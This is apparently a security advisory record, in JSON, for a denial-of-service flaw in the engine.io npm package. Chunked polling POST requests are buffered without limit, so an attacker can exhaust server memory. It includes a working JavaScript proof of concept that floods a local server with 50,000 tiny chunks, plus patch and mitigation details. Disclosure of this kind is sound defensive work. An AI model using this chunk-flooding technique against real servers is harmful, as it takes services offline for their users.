{"id":"GHSA-c8pq-854x-25q2","summary":"Socket.IO: Engine.IO DoS via memory exhaustion","details":"### Summary\n\nA Denial-of-Service (DoS) vulnerability exists in Engine.IO server due to **unbounded chunk buffering** when processing polling POST requests.\n\n**This vulnerability primarily affects direct connections to the Engine.IO server** (without a reverse proxy), as most reverse proxies (Nginx, HAProxy, Apache) will concatenate chunks before forwarding them to the backend. An attacker with direct access could send a request body split into many small chunks, forcing the server to create excessive string objects and causing memory exhaustion.\n\n### Proof of concept\n\n```js\nimport http from \"node:http\";\nimport { Server } from \"engine.io\";\nimport { Socket } from \"engine.io-client\";\n\n// Start a vulnerable Engine.IO server\nconst engine = new Server();\nconst server = http.createServer();\nengine.attach(server);\n\nserver.listen(3000, async () =\u003e {\n  console.log(\"Vulnerable server listening on port 3000\");\n\n  // Create a connection first to get a session ID\n  const client = new Socket(\"ws://localhost:3000\", { transports: [\"polling\"] });\n  await new Promise((resolve) =\u003e client.on(\"open\", resolve));\n\n  // Attacker: Send polling POST with many small chunks (exceeds safe buffer limit)\n  const nodeReq = http.request(\n    {\n      hostname: \"localhost\",\n      port: 3000,\n      path: `/engine.io/?transport=polling&EIO=4&sid=${client.id}`,\n      method: \"POST\",\n      headers: {\n        \"Content-Type\": \"text/plain\",\n        \"Transfer-Encoding\": \"chunked\",\n      },\n    },\n    (res) =\u003e {\n      console.log(\"Response status:\", res.statusCode);\n      client.close();\n      server.close();\n    }\n  );\n\n  // Send many small chunks to exhaust memory\n  for (let i = 0; i \u003c 50_000; i++) {\n    nodeReq.write(\"a\");\n  }\n  nodeReq.end();\n});\n```\n\n**Expected Result:** The server may run out of memory or experience severe performance degradation due to excessive string concatenation and chunk buffering.\n\n### Patches\n\nFixed in:\n\n- `engine.io@6.6.13` (via commit https://github.com/socketio/socket.io/commit/f0df289212e6ff138723933e33db891796f4d3d1)\n\n### Workarounds\n\nIn vulnerable versions, the issue can be mitigated by:\n\n1. **Using a reverse proxy** (e.g., Nginx, HAProxy, Apache) - Most reverse proxies concatenate chunks before forwarding, effectively neutralizing this attack vector\n2. **Limiting request body size at the reverse proxy level** (e.g., Nginx `client_max_body_size`)\n3. **Rate limiting connections per IP** to prevent chunk flooding\n4. **Disabling polling transport** if your application only needs WebSocket:\n \n```js\nconst engine = new Server({\n  transports: [\"websocket\"]\n});\n```\n\nNote: These are **temporary mitigations**. Upgrading to `engine.io@6.6.13` and above is the recommended fix.\n\n### Credits\n\nThe vulnerability was responsibly disclosed by [Salih Çağlar İspirli](https://github.com/hicay).","aliases":["CVE-2026-144306"],"modified":"2026-12-05T18:45:16.980583811Z","published":"2026-12-04T21:53:24Z","database_specific":{"nvd_published_at":"2026-12-03T18:17:27Z","cwe_ids":["CWE-770"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-12-04T21:53:24Z"},"references":[{"type":"WEB","url":"https://github.com/socketio/socket.io/security/advisories/GHSA-c8pq-854x-25q2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-144306"},{"type":"WEB","url":"https://github.com/socketio/socket.io/commit/f0df289212e6ff138723933e33db891796f4d3d1"},{"type":"PACKAGE","url":"https://github.com/socketio/socket.io"},{"type":"WEB","url":"https://github.com/socketio/socket.io/releases/tag/engine.io@6.6.13"}],"affected":[{"package":{"name":"engine.io","ecosystem":"npm","purl":"pkg:npm/engine.io"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"6.6.13"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-c8pq-854x-25q2/GHSA-c8pq-854x-25q2.json"}}],"schema_version":"1.9.3","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}